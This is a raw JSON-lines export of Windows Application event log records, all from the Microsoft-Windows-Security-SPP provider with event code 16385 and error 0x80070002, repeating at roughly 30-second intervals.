{"@timestamp":1659060667912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174007}}
{"@timestamp":1659060697919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174008}}
{"@timestamp":1659060727927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174009}}
{"@timestamp":1659060757934,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174010}}
{"@timestamp":1659060787941,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174011}}
{"@timestamp":1659060817947,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174012}}
{"@timestamp":1659060847953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174013}}
{"@timestamp":1659060877959,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174014}}
{"@timestamp":1659060907968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174015}}
{"@timestamp":1659060937976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174016}}
{"@timestamp":1659060967982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174017}}
{"@timestamp":1659060997989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174018}}
{"@timestamp":1659061027995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174019}}
{"@timestamp":1659061058002,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174020}}
{"@timestamp":1659061088008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174021}}
{"@timestamp":1659061118015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174022}}
{"@timestamp":1659061148022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174023}}
{"@timestamp":1659061178028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174024}}
{"@timestamp":1659061208036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174025}}
{"@timestamp":1659061238044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174026}}
{"@timestamp":1659061268050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174027}}
{"@timestamp":1659061298057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174028}}
{"@timestamp":1659061328065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174029}}
{"@timestamp":1659061358072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174030}}
{"@timestamp":1659061388078,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174031}}
{"@timestamp":1659061418086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174032}}
{"@timestamp":1659061448092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174033}}
{"@timestamp":1659061478099,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174034}}
{"@timestamp":1659061508106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174035}}
{"@timestamp":1659061538116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174036}}
{"@timestamp":1659061568123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174037}}
{"@timestamp":1659061598131,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174038}}
{"@timestamp":1659061628138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174039}}
{"@timestamp":1659061658146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174040}}
{"@timestamp":1659061688153,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174041}}
{"@timestamp":1659061718161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174042}}
{"@timestamp":1659061748167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174043}}
{"@timestamp":1659061778174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174044}}
{"@timestamp":1659061808181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174045}}
{"@timestamp":1659061838191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174046}}
{"@timestamp":1659061868197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174047}}
{"@timestamp":1659061898204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174048}}
{"@timestamp":1659061928211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174049}}
{"@timestamp":1659061958217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174050}}
{"@timestamp":1659061988224,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174051}}
{"@timestamp":1659062018232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174052}}
{"@timestamp":1659062048238,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174053}}
{"@timestamp":1659062078245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174054}}
{"@timestamp":1659062108252,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174055}}
{"@timestamp":1659062138260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174056}}
{"@timestamp":1659062168266,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174057}}
{"@timestamp":1659062198273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174058}}
{"@timestamp":1659062228280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174059}}
{"@timestamp":1659062258288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174060}}
{"@timestamp":1659062288294,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174061}}
{"@timestamp":1659062318322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174062}}
{"@timestamp":1659062348328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174063}}
{"@timestamp":1659062378377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174064}}
{"@timestamp":1659062408383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174065}}
{"@timestamp":1659062438390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174066}}
{"@timestamp":1659062468396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174067}}
{"@timestamp":1659062498403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174068}}
{"@timestamp":1659062528415,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174069}}
{"@timestamp":1659062558421,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174070}}
{"@timestamp":1659062588427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174071}}
{"@timestamp":1659062618434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174072}}
{"@timestamp":1659062648440,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174073}}
{"@timestamp":1659062678446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174074}}
{"@timestamp":1659062708453,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174075}}
{"@timestamp":1659062738459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174076}}
{"@timestamp":1659062768466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174077}}
{"@timestamp":1659062798472,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174078}}
{"@timestamp":1659062828479,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174079}}
{"@timestamp":1659062858485,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174080}}
{"@timestamp":1659062888493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174081}}
{"@timestamp":1659062918499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174082}}
{"@timestamp":1659062948505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174083}}
{"@timestamp":1659062978513,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174084}}
{"@timestamp":1659063008519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174085}}
{"@timestamp":1659063038527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174086}}
{"@timestamp":1659063068533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174087}}
{"@timestamp":1659063098541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174088}}
{"@timestamp":1659063128548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174089}}
{"@timestamp":1659063158553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174090}}
{"@timestamp":1659063188559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174091}}
{"@timestamp":1659063218564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174092}}
{"@timestamp":1659063248570,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174093}}
{"@timestamp":1659063278576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174094}}
{"@timestamp":1659063308581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174095}}
{"@timestamp":1659063338589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174096}}
{"@timestamp":1659063368597,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174097}}
{"@timestamp":1659063398605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174098}}
{"@timestamp":1659063428611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174099}}
{"@timestamp":1659063458622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174100}}
{"@timestamp":1659063488631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174101}}
{"@timestamp":1659063518639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174102}}
{"@timestamp":1659063548646,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174103}}
{"@timestamp":1659063578654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174104}}
{"@timestamp":1659063608661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174105}}
{"@timestamp":1659063638668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174106}}
{"@timestamp":1659063668674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174107}}
{"@timestamp":1659063698684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174108}}
{"@timestamp":1659063728691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174109}}
{"@timestamp":1659063758699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174110}}
{"@timestamp":1659063788705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174111}}
{"@timestamp":1659063818713,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174112}}
{"@timestamp":1659063848719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174113}}
{"@timestamp":1659063878726,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174114}}
{"@timestamp":1659063908733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":174115}}
